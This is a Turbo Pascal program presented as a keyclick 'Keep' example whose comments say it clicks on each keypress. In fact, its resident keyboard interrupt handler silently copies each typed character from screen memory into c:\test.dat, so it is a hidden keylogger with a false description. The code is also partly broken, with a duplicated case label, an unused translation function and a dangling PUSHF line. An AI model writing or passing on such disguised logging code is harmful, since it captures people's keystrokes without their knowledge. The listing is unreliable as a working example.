 {Keep.PAS}

{ Example for Keep }

{$M $3200,0,0 }   { 8K stack, no heap }
{ This program causes a click each time
 a key is pressed.}
uses Crt, Dos;

type
  screen = array [1..25,1..160] of char;

var
  KbdIntVec : Procedure;
  f:text;

  function trans_scan_ascii(key:integer):char;
  var
    c:char;
  begin
    c:='Z';
    if (key<69) and (key>58) then c:='F'
    else
    case key of
      1:c:='E';
      2:c:='1';
      3:c:='2';
      4:c:='3';
      5:c:='4';
      6:c:='5';
      7:c:='6';
      8:c:='7';
      9:c:='8';
      10:c:='9';
      11:c:='0';
      12:c:='-';
      13:c:='=';
      14:c:='B';
      15:c:='T';
      16:c:='q';
      17:c:='w';
      18:c:='e';
      19:c:='r';
      20:c:='t';
      21:c:='y';
      22:c:='u';
      23:c:='i';
      24:c:='o';
      25:c:='p';
      26:c:='[';
      27:c:=']';
      28:c:=chr(13);
      29:c:='C';
      30:c:='a';
      31:c:='s';
      32:c:='d';
      33:c:='f';
      34:c:='g';
      35:c:='h';
      36:c:='j';
      37:c:='k';
      38:c:='l';
      39:c:=':';
      40:c:='"';
      41:c:='~';
      42:c:='S';
      13:c:='\';
      44:c:='z';
      45:c:='x';
      46:c:='c';
      47:c:='v';
      48:c:='b';
      49:c:='n';
      50:c:='m';
      51:c:='<';
      52:c:='>';
      53:c:='?';
      54:c:='S';
      55:c:='O';
      56:c:='A';
      57:c:=' ';
      58:c:='O';
      69:c:='O';
      70:c:='O';
      71:c:='H';
      72:c:='U';
      73:c:='P';
      74:c:='-';
      75:c:='L';
      76:c:='V';
      77:c:='R';
      78:c:='+';
      79:c:='E';
      80:c:='D';
      81:c:='Q';
      82:c:='I';
      83:c:='J';
    END;
    trans_scan_ascii := c;
  end;

  function getchar(x,y:integer):char;
  var
    t:screen absolute $b800:0000;
  begin
    getchar:=t[y,x*2-1];
  end;

  procedure putchar(x,y:integer;ch:char);
  var
    t:screen absolute $b800:0000;
  begin
    t[y,x*2-1]:=ch;
  end;


{$F+}
procedure Keyclick; interrupt;
var
  x,y:integer;
  ch:char;

begin
  KbdIntVec;
  if Port[$60] < $80 then
    { Only click when key is pressed }
    begin
      x:=wherex;
      y:=wherey;
      ch:=getchar(x,y);
      assign(f,'c:\test.dat');
      append(f);
      write(f,ch);
      close(f);
    end;
  inline ($9C); { PUSHF -- Push flags }
  { Call old ISR using saved vector }
end;
{$F-}
begin
  { Insert ISR into keyboard chain }
      assign(f,'c:\test.dat');
      rewrite(f);
      write(f,'start-');
      close(f);
  GetIntVec($9,@KbdIntVec);
  SetIntVec($9,Addr(Keyclick));
  Keep(0); { Terminate, stay resident }
end.

